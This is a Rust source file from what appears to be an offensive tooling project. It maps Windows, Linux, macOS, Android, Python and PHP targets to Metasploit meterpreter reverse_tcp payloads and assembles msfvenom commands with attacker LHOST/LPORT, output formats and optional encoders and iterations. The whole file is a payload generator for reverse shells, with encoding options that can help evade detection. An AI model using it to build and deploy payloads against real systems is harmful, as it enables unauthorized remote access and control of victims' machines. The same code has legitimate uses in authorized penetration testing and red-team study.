Skip to main content

ploit_malper/
recipe.rs

1use crate::models::PayloadRecipe;
2
3pub const PLATFORM_PAYLOADS: &[(&str, &[(&str, &str)])] = &[
4    (
5        "windows",
6        &[
7            ("x86", "windows/meterpreter/reverse_tcp"),
8            ("x64", "windows/x64/meterpreter/reverse_tcp"),
9        ],
10    ),
11    (
12        "linux",
13        &[
14            ("x86", "linux/x86/meterpreter/reverse_tcp"),
15            ("x64", "linux/x64/meterpreter/reverse_tcp"),
16        ],
17    ),
18    (
19        "macos",
20        &[
21            ("x64", "osx/x64/meterpreter/reverse_tcp"),
22            ("arm64", "osx/arm64/meterpreter/reverse_tcp"),
23        ],
24    ),
25    ("android", &[("dalvik", "android/meterpreter/reverse_tcp")]),
26    ("python", &[("py", "python/meterpreter/reverse_tcp")]),
27    ("php", &[("php", "php/meterpreter/reverse_tcp")]),
28];
29
30pub fn build_recipe(
31    platform: &str,
32    arch: &str,
33    lhost: &str,
34    lport: u16,
35    output_path: &str,
36    encoder: Option<String>,
37    iterations: Option<u32>,
38) -> PayloadRecipe {
39    let platform_lower = platform.to_lowercase();
40    let arch_lower = arch.to_lowercase();
41
42    let payload = PLATFORM_PAYLOADS
43        .iter()
44        .find(|(known_platform, _)| *known_platform == platform_lower)
45        .and_then(|(_, arches)| {
46            arches
47                .iter()
48                .find(|(known_arch, _)| *known_arch == arch_lower)
49                .map(|(_, payload)| (*payload).to_string())
50        })
51        // Fallback for known platforms: use the first available payload
52        .unwrap_or_else(|| platform_fallback_payload(&platform_lower, &arch_lower));
53
54    let format = match platform_lower.as_str() {
55        "windows" => "exe",
56        "linux" => "elf",
57        "macos" => "macho",
58        "android" => "apk",
59        "python" | "php" => "raw",
60        _ => "raw",
61    }
62    .to_string();
63
64    let output_file = if format == "raw" {
65        if platform_lower == "python" {
66            format!("{}.py", output_path)
67        } else if platform_lower == "php" {
68            format!("{}.php", output_path)
69        } else {
70            format!("{}.{}", output_path, format)
71        }
72    } else {
73        format!("{}.{}", output_path, format)
74    };
75
76    let mut cmd_parts = vec![
77        "msfvenom".to_string(),
78        "-p".to_string(),
79        payload,
80        format!("LHOST={}", lhost),
81        format!("LPORT={}", lport),
82        "-f".to_string(),
83        format.clone(),
84        "-o".to_string(),
85        output_file.clone(),
86    ];
87
88    if let Some(encoder) = encoder.as_ref() {
89        cmd_parts.push("-e".to_string());
90        cmd_parts.push(encoder.clone());
91    }
92
93    if let Some(iterations) = iterations {
94        cmd_parts.push("-i".to_string());
95        cmd_parts.push(iterations.to_string());
96    }
97
98    let command = cmd_parts.join(" ");
99
100    PayloadRecipe {
101        platform: platform_lower,
102        architecture: arch_lower,
103        lhost: lhost.to_string(),
104        lport,
105        format,
106        output_path: output_file,
107        encoder,
108        iterations,
109        command,
110    }
111}
112
113fn platform_fallback_payload(platform: &str, arch: &str) -> String {
114    match platform {
115        "windows" => match arch {
116            "x64" => "windows/x64/meterpreter/reverse_tcp",
117            _ => "windows/meterpreter/reverse_tcp",
118        },
119        "linux" => match arch {
120            "x64" => "linux/x64/meterpreter/reverse_tcp",
121            _ => "linux/x86/meterpreter/reverse_tcp",
122        },
123        "macos" => "osx/x64/meterpreter/reverse_tcp",
124        "android" => "android/meterpreter/reverse_tcp",
125        "python" => "python/meterpreter/reverse_tcp",
126        "php" => "php/meterpreter/reverse_tcp",
127        _ => "generic/shell_reverse_tcp",
128    }
129    .to_string()
130}
131
132pub fn get_available_platforms() -> Vec<String> {
133    PLATFORM_PAYLOADS
134        .iter()
135        .map(|(platform, _)| (*platform).to_string())
136        .collect()
137}
138
139pub fn get_available_arches(platform: &str) -> Vec<String> {
140    let platform_lower = platform.to_lowercase();
141    PLATFORM_PAYLOADS
142        .iter()
143        .find(|(known_platform, _)| *known_platform == platform_lower)
144        .map(|(_, arches)| arches.iter().map(|(arch, _)| (*arch).to_string()).collect())
145        .unwrap_or_default()
146}